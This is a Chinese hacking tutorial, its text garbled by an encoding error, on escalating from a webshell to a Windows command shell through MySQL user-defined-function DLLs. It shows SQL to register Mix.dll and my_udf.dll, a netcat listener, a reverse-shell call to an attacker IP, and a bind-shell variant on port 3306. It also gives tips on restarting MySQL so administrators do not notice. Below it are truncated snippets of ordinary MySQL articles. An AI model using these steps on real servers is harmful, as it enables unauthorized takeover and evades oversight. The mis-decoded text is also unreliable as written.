Ò׽ؽØͼÈí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

mysql¼òµ¥ÌáȨ

S- servÌáȨ·½Ê½ÈËÈ˶¼»áÓÃÁË£¬¸ãµÃÏÖÔÚµÄÖ÷»ú¶¼ÅäÖõ÷dz£°²È«£¬¿´À´¹¥»÷ÊÖ·¨µÄ²ã³ö²»ÇîÒ²ÊÇÔì³ÉÖйúÍøÂ簲ȫ½ø²½µÄÒ»´óÔ­ÒòÖ®Ò»£¬»¹ÓÐÆäËûµÄ pcanywhere»ñÈ¡ÃÜÂ룬Ìæ»»·þÎñ£¬µÈµÈ¡£µ«ÊÇÏÖÔÚҲûÕâôºÃ¸ãÁË£¬Ëæ×Å°²È«ÒâʶµÄÌá¸ß£¬Ö®Ç°µÄ·½Ê½¹À¼Æ²»Ôõô¹ÜÓã¬ÏÖÔÚÎÒ¸ø´ó¼Ò½éÉÜÒ»ÏÂÒ»ÖÖеÄÌáȨ·½Ê½£¬¿´¹ý¹ÅµäLM×öµÄÄǶ¯»­µÄÅóÓѶ¼ÖªµÀ°É£¿ÀûÓÃMYSQLlÈõ¿ÚÁîÄõ½ÏµÍ³È¨ÏÞ£¬ÔÚWEBSHELÉÏÒ²¿ÉʵÏÖ£¬²»¹ýÓиöÇ°Ìᣬ¾ÍÊÇÄ¿±êÖ÷»ú×°ÓÐ MYSQL£¬¶øÄãÓÖÖªµÀMYSQLµÄÓû§ºÍÃÜÂ룬²Å¿ÉÒÔ½øÐÐÌáȨ¡£WEBSHELL»ñµÃÁË£¬ÕÒÓû§ºÍÃÜÂëÒ²²»ÊÇʲôÄÑÊ¡£ÏÖÔÚÎÒÄÃÎÒÁíÍâһ̨»úÆ÷×öʾ·¶£¬ÒѾ­°ÑPHPSHELL´«ÉÏÈ¥ÁË,Ò»°ãÀ´ËµÁ¬½ÓMYSQLµÄÕÊ»§ÃÜÂëºÜºÃÕÒ£¬Ëæ±ã±à¼­Ò»¸öPHPÎļþ£¬¾Í¿´µ½ÁË¡£
¿´µ½ÁË°É£¬Óû§Ãû£ºroot ÃÜÂ룺123456 ¿âÃû£ºphp È»ºóÔõô°ìÄØ£¿ÏÈÓÃSQL Query ½¨Á¢Á¬½Ó£¬¹þÁ¬½Ó³É¹¦ÁË£¬ÏÖÔÚ¿ªÊ¼½«ÎÒÃǵÄÌáȨÓõ櫶«:Mix.dll My_udf.dllÉÏ´«ÉÏÈ¥ÏÈ.OK£¬´«ºÃÁË£¬Mix.dllÓÃÓÚ·´µ¯Á¬½Ó£¬My_udf.dllÊÇÕýÏòÁ¬½Ó£¬Ö±½ÓÓÃÁ¬½Ó¶Ô·½µÄ3306¶Ë¿ÚÈ»ºóÊäÈëÃÜÂë¾Í¿É»ñµÃCMDSHELL¡£ºÃ£¬²»¶à˵ÁË£¬´«ÉÏÈ¥Ö®ºóÄؾÍÖ´ÐÐÒÔÏÂSQLÓï¾ä
create function Mixconnect returns string soname 'd:\\php\\php\\Mix.dll';       //my_udf.dll
À´×¢²áº¯Êý.
³öÏÖSQLÓï¾ä³É¹¦Ö´ÐУ¡
  ÀëÄõ½CMDSHELLÒѾ­²»Ô¶ÁË£¬ÎÒÃÇÏÈÓÃNCÔÚ±¾µØ¼àÌýÒ»¸ö¶Ë¿ÚÏÈ£¬Nc -l -p 1234 £¨Õâ¸öÎÒÏë²»ÓýØͼÁË°É£©¶øºóÖ´ÐÐÓï¾ä£º
select Mixconnect('192.168.1.520','1234');
À´¼¤»îÄǸöº¯Êý£¬Ö´Ðгɹ¦£¬È»ºó¿´¿´ÎÒÃǵÄNCÓз´Ó³Ã»,³É¹¦µÃµ½CMSHELL£¬²»¹ýÕâʱ¶Ô·½µÄMYSQLÒѾ­¼ÙËÀ¿©£¬ÎÒÃÇÒª°ÑMYSQL·þÎñ½ø³Ì¸ø killµô£¬È»ºóÖØÐÂÆô¶¯MYSQL·þÎñ²ÅÐУ¬²»È»¹ÜÀíÔ±·¢ÏÖÍøÕ¾ÔËÐв»ÁËÁË£¬ÄǾ͡£¡£¡£¡£Èç¹û¸Ã·þÎñÆ÷²»ÔÊÐíÁ¬½ÓÈκÎÍⲿIPºÍ¶Ë¿Ú£¬¶øËûµÄ3306¶Ë¿ÚÈ´ÊǶÔÍ⿪µÄ£¡ÕâʱMy_udf.dll¾Í¸ÃÉϳ¡ÁË£¬Ê¹Ó÷½·¨ºÍMixÒ»Ñù£¬Á¬½ÓMYSQL³É¹¦ºóÖ´ÐÐÈçÏÂÓï¾ä£º
create function my_udfdoor returns string soname 'D:\\php\\php\my_udf.dll';
Ö´ÐÐÓï¾ä³É¹¦ºó£¬È»ºóÎÒÃǾͿªÊ¼¼¤»îÕâ¸öº¯Êý£¬ÊäÈëÓï¾ä£º
select my_udfdoor ('');
È»ºóÓÃncÁ¬½Ó3306¶Ë¿Ú,È»ºóÊäÈëfuck ¾Í¿ÉÒԵõ½Ò»¸öcmdshellÁË.


Ïà¹ØÎĵµ£º

MysqlµÄ°²×°

  ÏÂÔØmysql-4.1.14-win32.zip½âѹºóµÃµ½mysql-4.1.14-win32Îļþ¼Ð£¬´ò¿ª´ËÎļþ¼ÐÔËÐÐsetup.exeÎļþ£¬Next£¬Custom¡¢Next£¬Change£¬½«Â·¾¶¸ÄΪd:\MySQL\MySQL Server 4.1\£¬OK£¬Next£¬Install£¬Íê³ÉºóÌø³ö´°¿ÚÈçͼ£º
µãÒ»ÏÂCancel£¬ÔÙÖ±µãFinish¡£ÏÖÔÚÌø³öÉèÖÃmysqlµÄ´°¿Ú£¬Èçͼ£º
Next£¬Next£¬Next£¬next£¬Next£¬Èç ......

wampÈçºÎÐÞ¸ÄmysqlĬÈÏ¿ÕÃÜÂë


cmdÏÂÇл»µ½ mysql °²×°Ä¿Â¼
Àý
d:/mysql/bin
  
(Èç¹ûÓÃWAMP°²×°ÔòÊÇD:\wamp\bin\mysql\mysql5.1.30\bin)
Ç°Ì᣺mysqlÓû§rootÃÜÂëΪ¿Õ.
Êä
Èë mysql -u root mysql
mysql> ״̬ÏÂÊäÈë 
 update user set password=password('ÐÂÃÜÂë') where user='root';
ȯ
ÏÔ   
Quer ......

mysql procedure ·µ»Ø½á¹û¼¯

mysql procedure ûÓÐreturn²ÎÊý ¿ÉÒÔoutÒ»¸ö±äÁ¿¸ø¿Í»§¶Ë µ«ÊÇout²ÎÊýÓÖ²»Ö§³ÖÓαêÀàÐÍ£¬ÈçºÎÄÜout³öÒ»¸ö½á¹û¼¯ÄØ£¿
·½·¨ºÜ¼òµ¥ ¾ÍÊÇÔÚprocedureÀïÖ´ÐÐÒ»¸öselect £¨select ....  from ...£©
eg.
CREATE PROCEDURE `CREATE_ACCOUNT`(
ACCOUNT CHAR(32),
PASSWORD CHAR(32), ......

PHPÖеij£ÓõÄ25¸öMYSQLº¯Êý


1¡¢mysql_connect()-½¨Á¢Êý¾Ý¿âÁ¬½Ó
¸ñʽ£º
resource mysql_connect([string hostname [:port] [:/path/to/socket] [, string username] [, string password]])
Àý£º
$conn = @mysql_connect(”localhost”, “username”, “password”) or dir(”²»ÄÜÁ¬½Óµ½Mysql Server” ......

MySQLÊý¾ÝÀàÐÍÓ뽨¿â²ßÂÔµÄÏêϸ½âÎö

´ËÎÄÕÂÖ÷ÒªÃèÊöµÄÊÇMySQLÊý¾ÝÀàÐÍÓ뽨¿â²ßÂÔµÄÏêϸ½âÎö£¬ÎÒÃÇ´ó¼Ò¶¼ÖªµÀÎÞÂÛÊÇÔÚ²»ÊշѵÄÊý¾Ý¿â¿Õ¼ä»òÕßÊÇ´óÐ͵ĵç×ÓÉÌÎñÍøÕ¾£¬ÆäºÏÀíµÄÉè¼Æ±í½á¹¹¡¢³ä·ÖÀûÓÿռäÊÇÊ®·Ö±ØÒªµÄ¡£
¡¡¡¡Õâ¾ÍÒªÇóÎÒÃǶÔÊý¾Ý¿âϵͳµÄ³£ÓÃMySQLÊý¾ÝÀàÐÍÓгä·ÖµÄÈÏʶ¡£ÏÂÃæÎҾͽ«ÎÒµÄÒ»µãÐĵÃд³öÀ´¸ú´ó¼Ò·ÖÏí¡£
¡¡¡¡Ò»¡¢MySQLÊý¾ÝÀàÐÍÖ®Êý×ÖÀàÐ ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØͼ | ¸ÓICP±¸09004571ºÅ